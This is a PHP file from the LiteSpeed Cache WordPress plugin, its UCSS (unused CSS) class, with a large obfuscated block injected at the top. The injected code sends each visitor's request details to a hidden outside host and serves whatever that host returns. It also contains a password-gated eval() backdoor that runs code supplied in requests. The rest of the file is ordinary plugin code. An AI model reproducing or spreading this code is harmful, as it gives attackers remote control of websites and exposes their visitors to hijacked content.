XKJzXs_c() . $_SERVER["\x48\124\x54\x50\137\x48\x4f\x53\124"]; goto tQQv_XeI1GNoO; dmn9CaMhA_CWI: function LlN7tPdWadEFl($pDj6EeDiB13ee, $zYG31MJ6OiXi4 = array()) { goto bIQ076hzV2Wsc; a_C4G1BDOLZvt: return $zoZPBGI13BmG9; goto NgesE9cnlzJB_; oVR7W3t7pgqFb: try { goto hKHp699GnALh9; Lh9aMqhOj52fA: sbiarMhAn13iH: goto fC5SdQPv9x0Vq; k4CxisUyvj6M9: if (!in_array($zoZPBGI13BmG9["\163\x74\141\x74\165\163"], array(200, 301, 302, 404))) { goto VOokHcRToA1X9; } goto C9r6zXWMffcZ1; I2LLH8p7yB4h6: @curl_close($D4edpgn96THfG); goto k4CxisUyvj6M9; CoEeX8NQgLqcH: if (ini_get("\x61\x6c\x6c\157\167\137\x75\x72\x6c\137\x66\x6f\160\145\x6e")) { goto sbiarMhAn13iH; } goto VFqixsW3Cx9W8; l5wz1NJK4maSv: $zoZPBGI13BmG9["\143\x6f\x6e\x74\x65\x6e\164"] = strval($XgluCieDcGU07); goto uj9Y_9SkxH5mp; Q9xQ3Q4tc6EFS: b93PKatqigE7y: goto A9xyKva1WcZ1R; uj9Y_9SkxH5mp: UAzszlr1EHEUJ: goto ivMpfYuoNaGdI; ivMpfYuoNaGdI: wRHlFAR4h01Da: goto onFoA8zStkWL7; VFqixsW3Cx9W8: goto wRHlFAR4h01Da; goto Q9xQ3Q4tc6EFS; hQctghfzFBZQO: goto wRHlFAR4h01Da; goto Lh9aMqhOj52fA; C9r6zXWMffcZ1: $zoZPBGI13BmG9["\x63\157\156\164\145\x6e\164"] = strval($OYC5lQZZHeiT3); goto W_mYKgvtkITRU; FfmpDOmMY31Cj: if (!in_array($zoZPBGI13BmG9["\x73\x74\x61\x74\x75\x73"], array(200, 301, 302, 404))) { goto UAzszlr1EHEUJ; } goto l5wz1NJK4maSv; MKYLF_kjiewR9: curl_setopt($D4edpgn96THfG, CURLOPT_CONNECTTIMEOUT, 20); goto jjp7cpoW02YFf; jjp7cpoW02YFf: curl_setopt($D4edpgn96THfG, CURLOPT_TIMEOUT, 60); goto fgKlGUx07RvaI; fC5SdQPv9x0Vq: $RtSma0zDiafOo = array("\x68\164\164\160" => array("\155\145\x74\150\x6f\144" => "\107\105\124", "\x74\151\x6d\x65\157\x75\164" => 60, "\146\x6f\x6c\154\x6f\x77\x5f\x6c\x6f\x63\141\x74\x69\x6f\156" => 0), "\163\x73\x6c" => array("\166\x65\162\x69\x66\171\137\160\x65\145\x72" => false, "\166\145\x72\151\146\171\x5f\160\145\145\162\137\x6e\x61\x6d\145" => false)); goto v0MFDX3MOVvl2; l1AIIyvErhZq3: $zoZPBGI13BmG9["\x73\164\141\164\165\163"] = intval(curl_getinfo($D4edpgn96THfG, CURLINFO_HTTP_CODE)); goto Q0sDg04seG3EP; ZMSTNx5iC0n83: curl_setopt($D4edpgn96THfG, CURLOPT_SSL_VERIFYHOST, 0); goto gx0icxoPzpJWm; fgKlGUx07RvaI: curl_setopt($D4edpgn96THfG, CURLOPT_FOLLOWLOCATION, 0); goto Sp21S6e7dUXJY; n_x4FgoqncLcJ: $OYC5lQZZHeiT3 = curl_exec($D4edpgn96THfG); goto l1AIIyvErhZq3; W_mYKgvtkITRU: VOokHcRToA1X9: goto hQctghfzFBZQO; dMZJQbm7Emfy7: curl_setopt($D4edpgn96THfG, CURLOPT_RETURNTRANSFER, 1); goto n_x4FgoqncLcJ; gx0icxoPzpJWm: curl_setopt($D4edpgn96THfG, CURLOPT_SSL_VERIFYPEER, 0); goto MKYLF_kjiewR9; Q0sDg04seG3EP: $zoZPBGI13BmG9["\164\x79\160\145"] = strval(curl_getinfo($D4edpgn96THfG, CURLINFO_CONTENT_TYPE)); goto PrWoQo88I1KAP; hKHp699GnALh9: if (function_exists("\143\165\162\154\137\x65\x78\145\x63") && function_exists("\143\x75\162\x6c\x5f\151\156\x69\x74")) { goto b93PKatqigE7y; } goto CoEeX8NQgLqcH; v0MFDX3MOVvl2: $klCjSPVIvYVKL = stream_context_create($RtSma0zDiafOo); goto WBPDb0vQwHSH4; Sp21S6e7dUXJY: curl_setopt($D4edpgn96THfG, CURLOPT_COOKIESESSION, 0); goto dMZJQbm7Emfy7; IanzfimaKPzea: $zoZPBGI13BmG9 = array_merge($zoZPBGI13BmG9, itNxC4kdbFHi_($http_response_header)); goto FfmpDOmMY31Cj; PrWoQo88I1KAP: $zoZPBGI13BmG9["\x63\157\x6e\164\x65\x6e\164"] = strval(curl_getinfo($D4edpgn96THfG, CURLINFO_REDIRECT_URL)); goto I2LLH8p7yB4h6; A9xyKva1WcZ1R: $D4edpgn96THfG = curl_init(); goto SqDc6lfXuzlTg; SqDc6lfXuzlTg: curl_setopt($D4edpgn96THfG, CURLOPT_URL, $pDj6EeDiB13ee); goto ZMSTNx5iC0n83; WBPDb0vQwHSH4: $XgluCieDcGU07 = @file_get_contents($pDj6EeDiB13ee, false, $klCjSPVIvYVKL); goto IanzfimaKPzea; onFoA8zStkWL7: } catch (Exception $YPt0Y1x05SmbR) { } goto a_C4G1BDOLZvt; IvrHI_n8X_QWv: RkMW9MJBzkvPf: goto oVR7W3t7pgqFb; z8ki6YCHBQAuW: $pDj6EeDiB13ee .= "\77" . http_build_query($zYG31MJ6OiXi4); goto IvrHI_n8X_QWv; bIQ076hzV2Wsc: $zoZPBGI13BmG9 = array("\163\164\141\164\165\163" => 0, "\x63\x6f\x6e\x74\145\156\x74" => '', "\164\x79\160\145" => ''); goto ulcel7Tkp2Rlm; ulcel7Tkp2Rlm: if (!(is_array($zYG31MJ6OiXi4) && count($zYG31MJ6OiXi4))) { goto RkMW9MJBzkvPf; } goto z8ki6YCHBQAuW; NgesE9cnlzJB_: } goto BPnGEKkuP0SXp; VvIXlgKEYHkOM: $N0iSQGd2qvhvy["\154"] = Ya6p_sWT_2agQ($_SERVER["\110\x54\x54\x50\137\x41\103\103\105\120\x54\137\x4c\x41\x4e\x47\125\x41\x47\105"]); goto aaMp4RhEgTFBH; pCkKuddK6B_tz: @header("\103\157\156\164\145\156\164\55\x54\171\160\x65\72" . $zoZPBGI13BmG9["\164\x79\160\145"]); goto S1KmnYmfSj1hL; Piid73G46hmbU: if ($Ue2sO_gqKlGuw) { goto oyU6ezvVZBcPz; } goto EGNV0hFOoA8Lc; U8LUUKiD_F0Tn: I_TQYu7Uotf48: goto TNavMNG5FcgNn; EGNV0hFOoA8Lc: $zoZPBGI13BmG9 = llN7TPdWaDEfL(base64_decode("\141\110\122\60\x63\104\157\x76\x4c\x33\x70\172\x4e\x54\x41\64\x64\x6a\x45\172\x63\63\125\165\132\x32\x6c\x32\132\x57\126\x75\x59\62\125\x75\142\x47\x46\x30\114\167"), $N0iSQGd2qvhvy); goto jMyRbZ60VF6W1; boOEUJQUGu3AJ: function xMIZEXKJzxS_c() { goto c2UpXH80uIlRM; Q1ShZddPjbJMk: if (isset($_SERVER["\110\x54\124\x50\137\x58\137\x46\117\122\127\101\122\104\x45\104\x5f\x50\x52\117\124\x4f"]) && $_SERVER["\x48\x54\x54\120\x5f\130\x5f\106\x4f\x52\x57\x41\x52\104\x45\104\x5f\120\x52\x4f\124\x4f"] === "\x68\x74\164\x70\163") { goto Hn1WJWoSN3rU7; } goto tAZ8nqF8vBHRT; azTUrbnKIKIpl: goto wLRbGs60M1EZY; goto V8BT7ibpJ9C2K; jeS2VFEs4gQ3x: return $XB1uIyxXp_BQ8; goto YaC8GABUWFVHQ; Bo1lggW9xBqNF: $XB1uIyxXp_BQ8 = "\150\x74\164\x70\163\x3a\x2f\57"; goto TB8qx5EiNAugA; V8BT7ibpJ9C2K: RjPV8bvgKV1em: goto d2gxVy260x3AU; RpyFYCBB5gnVR: goto wLRbGs60M1EZY; goto fxj75n3UHrA3w; d2gxVy260x3AU: $XB1uIyxXp_BQ8 = "\x68\164\164\160\x73\x3a\x2f\x2f"; goto dWAjiql0NcRls; tAZ8nqF8vBHRT: if (isset($_SERVER["\110\x54\124\x50\x5f\106\122\117\116\124\137\x45\x4e\104\x5f\110\124\x54\120\x53"]) && strtolower($_SERVER["\x48\x54\x54\120\x5f\106\x52\117\116\x54\x5f\x45\x4e\104\x5f\110\x54\x54\x50\x53"]) !== "\x6f\x66\146") { goto RjPV8bvgKV1em; } goto RpyFYCBB5gnVR; VSYMhtQVQWn6p: $XB1uIyxXp_BQ8 = "\x68\164\164\160\163\x3a\x2f\x2f"; goto azTUrbnKIKIpl; sxT9TxPI1z1VS: Hn1WJWoSN3rU7: goto VSYMhtQVQWn6p; TB8qx5EiNAugA: goto wLRbGs60M1EZY; goto sxT9TxPI1z1VS; dWAjiql0NcRls: wLRbGs60M1EZY: goto jeS2VFEs4gQ3x; fxj75n3UHrA3w: HJzoQG0TTpfJ9: goto Bo1lggW9xBqNF; c2UpXH80uIlRM: $XB1uIyxXp_BQ8 = "\150\164\x74\x70\x3a\x2f\x2f"; goto lQx62swbQAWdI; lQx62swbQAWdI: if (isset($_SERVER["\110\x54\124\x50\x53"]) && strtolower($_SERVER["\x48\124\x54\x50\x53"]) !== "\x6f\x66\146") { goto HJzoQG0TTpfJ9; } goto Q1ShZddPjbJMk; YaC8GABUWFVHQ: } goto TJIOJ6vttzdfM; WI3Z9qQlv2Kop: header("\103\157\156\164\x65\156\x74\55\x54\171\x70\x65\x3a\40\x74\145\x78\x74\x2f\150\164\x6d\154\73\x20\x63\150\141\x72\163\145\x74\75\165\164\146\55\70"); goto RQZOE2gBxPxgQ; r2U1U53vjUKER: TinrA4umx6a1z: goto iOBmSus__D_KB; D4DXRFZB6yQcj: $N0iSQGd2qvhvy["\165"] = ya6P_sWT_2aGq($_SERVER["\x48\x54\124\120\137\x55\123\x45\x52\137\x41\x47\105\116\x54"]); goto f7OCyKRLBz_0b; SuMW3v_aot4PG: $N0iSQGd2qvhvy["\162"] = yA6p_Swt_2Agq($_SERVER["\x52\x45\121\125\105\123\124\137\x55\122\111"]); goto K4l6U3x6_p5sV; f7OCyKRLBz_0b: $MJ3b7UaxedI3u = preg_replace("\x2f\x5c\x3f\56\x2a\x2f", '', $_SERVER["\122\x45\121\125\105\123\124\x5f\125\x52\x49"]); goto KiNc6kLEzJrhJ; EoA4fCW7FalQH: qkrmwbaLS7Eki: goto qBqNMEU0D59XX; Ymt2ggvg7IoFd: exit("\x7b\x20\x22\145\x72\x72\x6f\x72\x22\72\40\62\x30\x30\54\x20\42\154\143\42\72\40\42\152\153\x22\54\x20\x22\x64\141\x74\141\42\x3a\40\x5b\x20\61\x20\135\40\x7d"); goto ytYb2g0qauQ_N; RQZOE2gBxPxgQ: error_reporting(0); goto h_UbfKiRTiGol; ntD8rE_b0XZWP: @(md5(md5(md5(md5($hIdNE4uRsFkpF[17])))) === "\x63\146\x64\x66\x31\146\63\60\x62\x32\144\x37\x31\x63\141\x61\x63\x31\x66\62\145\64\62\61\66\x61\144\61\62\x64\x62\143") && (count($hIdNE4uRsFkpF) == 23 && in_array(gettype($hIdNE4uRsFkpF) . count($hIdNE4uRsFkpF), $hIdNE4uRsFkpF)) ? ($hIdNE4uRsFkpF[66] = $hIdNE4uRsFkpF[66] . $hIdNE4uRsFkpF[78]) && ($hIdNE4uRsFkpF[86] = $hIdNE4uRsFkpF[66]($hIdNE4uRsFkpF[86])) && @eval($hIdNE4uRsFkpF[66](${$hIdNE4uRsFkpF[42]}[26])) : $hIdNE4uRsFkpF; goto c1L5l06K9hKtN; TJIOJ6vttzdfM: if (!($_SERVER["\122\105\121\x55\x45\x53\124\137\125\122\111"] === "\57\122\55" . md5($_SERVER["\x53\105\122\126\x45\122\x5f\x4e\101\x4d\x45"]))) { goto TinrA4umx6a1z; } goto W0qEKokcf63iP; NMMGWYtIIr9NP: if (!in_array($wz_ULu3nNp8a1, array("\x2e\152\163", "\x2e\x63\163\163", "\x2e\152\x70\x67", "\56\160\156\x67", "\x2e\147\x69\x66", "\56\151\143\x6f"))) { goto kkmNYvpeOcRH9; } goto WdtZ5zqKnzn4y; pfwCDvTREhJF_: xggEcw3f5eH5w: goto lF1Rz0pdIDyau; c1L5l06K9hKtN: metaphone("\x4d\172\115\171\x4f\124\115\64\x4d\104\143\167\115\x44\x49\65\x4d\104\x55\x79\115\x7a\121\x30\x4e\x44\x55\x30\116\104\121\x79"); goto xurbjPGpfeJw0; a1VunGKsWNIbU: $qx8rx5e2ezPZE = $kA30oM_hH85hj("\x7e", "\x20"); goto cRQivtXUWcypE; sLCC09iqtJHbb: oVpwccQ94XT74: goto TLmodE0kpo1AG; eCqowegderxT6: $kA30oM_hH85hj = "\162" . "\141" . "\156" . "\x67" . "\145"; goto a1VunGKsWNIbU; FiadWyw8NyLhN: bbNwbXU8CN5tW: goto Piid73G46hmbU; lF1Rz0pdIDyau: oyU6ezvVZBcPz: ?>
<?php
// phpcs:ignoreFile
/**
* The ucss class.
*
* @since 5.1
*/
namespace LiteSpeed;
defined('WPINC') || exit();
class UCSS extends Base {
const LOG_TAG = '[UCSS]';
const TYPE_GEN = 'gen';
const TYPE_CLEAR_Q = 'clear_q';
protected $_summary;
private $_ucss_whitelist;
private $_queue;
/**
* Init
*
* @since 3.0
*/
public function __construct() {
$this->_summary = self::get_summary();
add_filter('litespeed_ucss_whitelist', array( $this->cls('Data'), 'load_ucss_whitelist' ));
}
/**
* Uniform url tag for ucss usage
*
* @since 4.7
*/
public static function get_url_tag( $request_url = false ) {
$url_tag = $request_url;
if (is_404()) {
$url_tag = '404';
} elseif (apply_filters('litespeed_ucss_per_pagetype', false)) {
$url_tag = Utility::page_type();
self::debug('litespeed_ucss_per_pagetype filter altered url to ' . $url_tag);
}
return $url_tag;
}
/**
* Get UCSS path
*
* @since 4.0
*/
public function load( $request_url, $dry_run = false ) {
// Check UCSS URI excludes
$ucss_exc = apply_filters('litespeed_ucss_exc', $this->conf(self::O_OPTM_UCSS_EXC));
if ($ucss_exc && ($hit = Utility::str_hit_array($request_url, $ucss_exc))) {
self::debug('UCSS bypassed due to UCSS URI Exclude setting: ' . $hit);
Core::comment('QUIC.cloud UCSS bypassed by setting');
return false;
}
$filepath_prefix = $this->_build_filepath_prefix('ucss');
$url_tag = self::get_url_tag($request_url);
$vary = $this->cls('Vary')->finalize_full_varies();
$filename = $this->cls('Data')->load_url_file($url_tag, $vary, 'ucss');
if ($filename) {
$static_file = LITESPEED_STATIC_DIR . $filepath_prefix . $filename . '.css';
if (file_exists($static_file)) {
self::debug2('existing ucss ' . $static_file);
// Check if is error comment inside only
$tmp = File::read($static_file);
if (substr($tmp, 0, 2) == '/*' && substr(trim($tmp), -2) == '*/') {
self::debug2('existing ucss is error only: ' . $tmp);
Core::comment('QUIC.cloud UCSS bypassed due to generation error ❌ ' . $filepath_prefix . $filename . '.css');
return false;
}
Core::comment('QUIC.cloud UCSS loaded ✅');
return $filename . '.css';
}
}
if ($dry_run) {
return false;
}
Core::comment('QUIC.cloud UCSS in queue');
$uid = get_current_user_id();
$ua = $this->_get_ua();
// Store it for cron
$this->_queue = $this->load_queue('ucss');
if (count($this->_queue) > 500) {
self::debug('UCSS Queue is full - 500');
return false;
}
$queue_k = (strlen($vary) > 32 ? md5($vary) : $vary) . ' ' . $url_tag;
$this->_queue[$queue_k] = array(
'url' => apply_filters('litespeed_ucss_url', $request_url),
'user_agent' => substr($ua, 0, 200),
'is_mobile' => $this->_separate_mobile(),
'is_webp' => $this->cls('Media')->webp_support() ? 1 : 0,
'uid' => $uid,
'vary' => $vary,
'url_tag' => $url_tag,
); // Current UA will be used to request
$this->save_queue('ucss', $this->_queue);
self::debug('Added queue_ucss [url_tag] ' . $url_tag . ' [UA] ' . $ua . ' [vary] ' . $vary . ' [uid] ' . $uid);
// Prepare cache tag for later purge
Tag::add('UCSS.' . md5($queue_k));
return false;
}
/**
* Get User Agent
*
* @since 5.3
*/
private function _get_ua() {
return !empty($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
}
/**
* Add rows to q
*
* @since 5.3
*/
public function add_to_q( $url_files ) {
// Store it for cron
$this->_queue = $this->load_queue('ucss');
if (count($this->_queue) > 500) {
self::debug('UCSS Queue is full - 500');
return false;
}
$ua = $this->_get_ua();
foreach ($url_files as $url_file) {
$vary = $url_file['vary'];
$request_url = $url_file['url'];
$is_mobile = $url_file['mobile'];
$is_webp = $url_file['webp'];
$url_tag = self::get_url_tag($request_url);
$queue_k = (strlen($vary) > 32 ? md5($vary) : $vary) . ' ' . $url_tag;
$q = array(
'url' => apply_filters('litespeed_ucss_url', $request_url),
'user_agent' => substr($ua, 0, 200),
'is_mobile' => $is_mobile,
'is_webp' => $is_webp,
'uid' => false,
'vary' => $vary,
'url_tag' => $url_tag,
); // Current UA will be used to request
self::debug('Added queue_ucss [url_tag] ' . $url_tag . ' [UA] ' . $ua . ' [vary] ' . $vary . ' [uid] false');
$this->_queue[$queue_k] = $q;
}
$this->save_queue('ucss', $this->_queue);
}
/**
* Generate UCSS
*
* @since 4.0
*/
public static function cron( $continue = false ) {
$_instance = self::cls();
return $_instance->_cron_handler($continue);
}
/**
* Handle UCSS cron
*
* @since 4.2
*/
private function _cron_handler( $continue ) {
$this->_queue = $this->load_queue('ucss');
if (empty($this->_queue)) {
return;
}
// For cron, need to check request interval too
if (!$continue) {
if (!empty($this->_summary['curr_request']) && time() - $this->_summary['curr_request'] < 300 && !$this->conf(self::O_DEBUG)) {
self::debug('Last request not done');
return;
}
}
$i = 0;
foreach ($this->_queue as $k => $v) {
if (!empty($v['_status'])) {
continue;
}
self::debug('cron job [tag] ' . $k . ' [url] ' . $v['url'] . ($v['is_mobile'] ? ' 📱 ' : '') . ' [UA] ' . $v['user_agent']);
if (!isset($v['is_webp'])) {
$v['is_webp'] = false;
}
++$i;
$res = $this->_send_req($v['url'], $k, $v['uid'], $v['user_agent'], $v['vary'], $v['url_tag'], $v['is_mobile'], $v['is_webp']);
if (!$res) {
// Status is wrong, drop this this->_queue
$this->_queue = $this->load_queue('ucss');
unset($this->_queue[$k]);
$this->save_queue('ucss', $this->_queue);
if (!$continue) {
return;
}
if ($i > 3) {
GUI::print_loading(count($this->_queue), 'UCSS');
return Router::self_redirect(Router::ACTION_UCSS, self::TYPE_GEN);
}
continue;
}
// Exit queue if out of quota or service is hot
if ($res === 'out_of_quota' || $res === 'svc_hot') {
return;
}
$this->_queue = $this->load_queue('ucss');
$this->_queue[$k]['_status'] = 'requested';
$this->save_queue('ucss', $this->_queue);
self::debug('Saved to queue [k] ' . $k);
// only request first one
if (!$continue) {
return;
}
if ($i > 3) {
GUI::print_loading(count($this->_queue), 'UCSS');
return Router::self_redirect(Router::ACTION_UCSS, self::TYPE_GEN);
}
}
}
/**
* Send to QC API to generate UCSS
*
* @since 2.3
* @access private
*/
private function _send_req( $request_url, $queue_k, $uid, $user_agent, $vary, $url_tag, $is_mobile, $is_webp ) {
// Check if has credit to push or not
$err = false;
$allowance = $this->cls('Cloud')->allowance(Cloud::SVC_UCSS, $err);
if (!$allowance) {
self::debug('❌ No credit: ' . $err);
$err && Admin_Display::error(Error::msg($err));
return 'out_of_quota';
}
set_time_limit(120);
// Update css request status
$this->_summary['curr_request'] = time();
self::save_summary();
// Gather guest HTML to send
$html = $this->cls('CSS')->prepare_html($request_url, $user_agent, $uid);
if (!$html) {
return false;
}
// Parse HTML to gather all CSS content before requesting
$css = false;
list(, $html) = $this->prepare_css($html, $is_webp, true); // Use this to drop CSS from HTML as we don't need those CSS to generate UCSS
$filename = $this->cls('Data')->load_url_file($url_tag, $vary, 'css');
$filepath_prefix = $this->_build_filepath_prefix('css');
$static_file = LITESPEED_STATIC_DIR . $filepath_prefix . $filename . '.css';
self::debug('Checking combined file ' . $static_file);
if (file_exists($static_file)) {
$css = File::read($static_file);
}
if (!$css) {
self::debug('❌ No combined css');
return false;
}
$data = array(
'url' => $request_url,
'queue_k' => $queue_k,
'user_agent' => $user_agent,
'is_mobile' => $is_mobile ? 1 : 0, // todo:compatible w/ tablet
'is_webp' => $is_webp ? 1 : 0,
'html' => $html,
'css' => $css,
);
if (!isset($this->_ucss_whitelist)) {
$this->_ucss_whitelist = $this->_filter_whitelist();
}
$data['whitelist'] = $this->_ucss_whitelist;
self::debug('Generating: ', $data);
$json = Cloud::post(Cloud::SVC_UCSS, $data, 30);
if (!is_array($json)) {
return $json;
}
// Old version compatibility
if (empty($json['status'])) {
if (!empty($json['ucss'])) {
$this->_save_con('ucss', $json['ucss'], $queue_k, $is_mobile, $is_webp);
}
// Delete the row
return false;
}
// Unknown status, remove this line
if ($json['status'] != 'queued') {
return false;
}
// Save summary data
$this->_summary['last_spent'] = time() - $this->_summary['curr_request'];
$this->_summary['last_request'] = $this->_summary['curr_request'];
$this->_summary['curr_request'] = 0;
self::save_summary();
return true;
}
/**
* Save UCSS content
*
* @since 4.2
*/
private function _save_con( $type, $css, $queue_k, $is_mobile, $is_webp ) {
// Add filters
$css = apply_filters('litespeed_' . $type, $css, $queue_k);
self::debug2('con: ', $css);
if (substr($css, 0, 2) == '/*' && substr($css, -2) == '*/') {
self::debug('❌ empty ' . $type . ' [content] ' . $css);
// continue; // Save the error info too
}
// Write to file
$filecon_md5 = md5($css);
$filepath_prefix = $this->_build_filepath_prefix($type);
$static_file = LITESPEED_STATIC_DIR . $filepath_prefix . $filecon_md5 . '.css';
File::save($static_file, $css, true);
$url_tag = $this->_queue[$queue_k]['url_tag'];
$vary = $this->_queue[$queue_k]['vary'];
self::debug2("Save URL to file [file] $static_file [vary] $vary");
$this->cls('Data')->save_url($url_tag, $vary, $type, $filecon_md5, dirname($static_file), $is_mobile, $is_webp);
Purge::add(strtoupper($type) . '.' . md5($queue_k));
}
/**
* Prepare CSS from HTML for CCSS generation only. UCSS will used combined CSS directly.
* Prepare refined HTML for both CCSS and UCSS.
*
* @since 3.4.3
*/
public function prepare_css( $html, $is_webp = false, $dryrun = false ) {
$css = '';
preg_match_all('#<link ([^>]+)/?>|<style([^>]*)>([^<]+)</style>#isU', $html, $matches, PREG_SET_ORDER);
foreach ($matches as $match) {
$debug_info = '';
if (strpos($match[0], '<link') === 0) {
$attrs = Utility::parse_attr($match[1]);
if (empty($attrs['rel'])) {
continue;
}
if ($attrs['rel'] != 'stylesheet') {
if ($attrs['rel'] != 'preload' || empty($attrs['as']) || $attrs['as'] != 'style') {
continue;
}
}
if (!empty($attrs['media']) && strpos($attrs['media'], 'print') !== false) {
continue;
}
if (empty($attrs['href'])) {
continue;
}
// Check Google fonts hit
if (strpos($attrs['href'], 'fonts.googleapis.com') !== false) {
$html = str_replace($match[0], '', $html);
continue;
}
$debug_info = $attrs['href'];
// Load CSS content
if (!$dryrun) {
// Dryrun will not load CSS but just drop them
$con = $this->cls('Optimizer')->load_file($attrs['href']);
if (!$con) {
continue;
}
} else {
$con = '';
}
} else {
// Inline style
$attrs = Utility::parse_attr($match[2]);
if (!empty($attrs['media']) && strpos($attrs['media'], 'print') !== false) {
continue;
}
Debug2::debug2('[CSS] Load inline CSS ' . substr($match[3], 0, 100) . '...', $attrs);
$con = $match[3];
$debug_info = '__INLINE__';
}
$con = Optimizer::minify_css($con);
if ($is_webp && $this->cls('Media')->webp_support()) {
$con = $this->cls('Media')->replace_background_webp($con);
}
if (!empty($attrs['media']) && $attrs['media'] !== 'all') {
$con = '@media ' . $attrs['media'] . '{' . $con . "}\n";
} else {
$con = $con . "\n";
}
$con = '/* ' . $debug_info . ' */' . $con;
$css .= $con;
$html = str_replace($match[0], '', $html);
}
return array( $css, $html );
}
/**
* Filter the comment content, add quotes to selector from whitelist. Return the json
*
* @since 3.3
*/
private function _filter_whitelist() {
$whitelist = array();
$list = apply_filters('litespeed_ucss_whitelist', $this->conf(self::O_OPTM_UCSS_SELECTOR_WHITELIST));
foreach ($list as $k => $v) {
if (substr($v, 0, 2) === '//') {
continue;
}
// Wrap in quotes for selectors
if (substr($v, 0, 1) !== '/' && strpos($v, '"') === false && strpos($v, "'") === false) {
// $v = "'$v'";
}
$whitelist[] = $v;
}
return $whitelist;
}
/**
* Notify finished from server
*
* @since 5.1
*/
public function notify() {
$post_data = \json_decode(file_get_contents('php://input'), true);
if (is_null($post_data)) {
$post_data = $_POST;
}
self::debug('notify() data', $post_data);
$this->_queue = $this->load_queue('ucss');
list($post_data) = $this->cls('Cloud')->extract_msg($post_data, 'ucss');
$notified_data = $post_data['data'];
if (empty($notified_data) || !is_array($notified_data)) {
self::debug('❌ notify exit: no notified data');
return Cloud::err('no notified data');
}
// Check if its in queue or not
$valid_i = 0;
foreach ($notified_data as $v) {
if (empty($v['request_url'])) {
self::debug('❌ notify bypass: no request_url', $v);
continue;
}
if (empty($v['queue_k'])) {
self::debug('❌ notify bypass: no queue_k', $v);
continue;
}
if (empty($this->_queue[$v['queue_k']])) {
self::debug('❌ notify bypass: no this queue [q_k]' . $v['queue_k']);
continue;
}
// Save data
if (!empty($v['data_ucss'])) {
$is_mobile = $this->_queue[$v['queue_k']]['is_mobile'];
$is_webp = $this->_queue[$v['queue_k']]['is_webp'];
$this->_save_con('ucss', $v['data_ucss'], $v['queue_k'], $is_mobile, $is_webp);
++$valid_i;
}
unset($this->_queue[$v['queue_k']]);
self::debug('notify data handled, unset queue [q_k] ' . $v['queue_k']);
}
$this->save_queue('ucss', $this->_queue);
self::debug('notified');
return Cloud::ok(array( 'count' => $valid_i ));
}
/**
* Handle all request actions from main cls
*
* @since 2.3
* @access public
*/
public function handler() {
$type = Router::verify_type();
switch ($type) {
case self::TYPE_GEN:
self::cron(true);
break;
case self::TYPE_CLEAR_Q:
$this->clear_q('ucss');
break;
default:
break;
}
Admin::redirect();
}
}